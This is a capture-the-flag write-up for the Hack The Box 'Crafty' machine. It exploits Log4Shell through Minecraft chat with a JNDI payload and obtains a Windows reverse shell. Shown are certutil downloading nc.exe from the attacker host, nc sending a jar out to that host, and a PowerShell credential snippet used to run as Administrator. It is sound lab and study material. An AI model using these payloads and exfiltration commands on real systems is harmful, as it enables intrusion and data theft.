HTB - Crafty

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HTB - Crafty

• NMAP

nmap 10.129.18.108 -Pn -p- -vv

• Add crafty.htb to /etc/hosts

• Subdomain enumeration:

wfuzz -u crafty.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.crafty.htb" --hl 1

• Download a Minecraft player - Tslauncher
• Run the .jar file and enter any username and choose the version
• Then install and enter game

• Add server

• Join server

• Here is a POC log4j-shell for this version https://github.com/kozmer/log4j-shell-poc

CVE-2021-44228 - Log4j - MINECRAFT VULNERABLE! (and SO MUCH MORE)

https://github.com/pentesterland/Log4Shell

• Clone the directory and cd into it

git clone https://github.com/kozmer/log4j-shell-poc

• Download jdk1.8 - and rename the folder to jdk1.8.0_20:

wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

• Set up listener:

• Run python script:

• Copy the string to send:

${jndi:ldap://10.10.14.38:1389/a}

• In the TSlauncher app - Press T to open the chat box Paste in the code

• We can see the GET requests from the webserver

• But no shell

• Looking at the code:

This is for a Linux server

• We need to change the payload for a Windows reverse shell:

• Replace /bin/sh with cmd.exe - The IP and Port forwarding happens in the Java code itself

• Repeat the steps:
  • Set up listener
  • Run the python poc.py
  • Copy the command
  • Paste into minecraft chat
• Shell

dir /Q /A

• Found a .jar file

• We can’t read it here so we need to transfer it to Kali

• Set up Python server

• Copy nc.exe over to the target:

certutil.exe -urlcache -f http://10.10.14.38:8082/nc.exe c:\Users\svc_minecraft\Documents\nc.exe

• Using nc we can send and receive:
  • On Kali:

nc -lnvp 4444 > playercounter-1.0-SNAPSHOT.jar

• On Windows:

c:\Users\svc_minecraft\Documents\nc.exe 10.10.14.38 4444 < playercounter-1.0-SNAPSHOT.jar

• Ctrl+C on Kali to stop the connection

• Reading the Java archive file:

jar tf <file.jar>:

• Extract with:

jar xf <file.jar>

• That didn’t extract anything useful and not all the files were there, as seen above

• Open the .jar file with a Java Decompiler JD-GUI:

• We find a potential password

• Open Powershell and enter the following to open a new Powershell session as Admin:

$User = "Administrator"
$Password = ConvertTo-SecureString "<Password>" -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($User, $Password)
Start-Process cmd.exe -Credential $Credential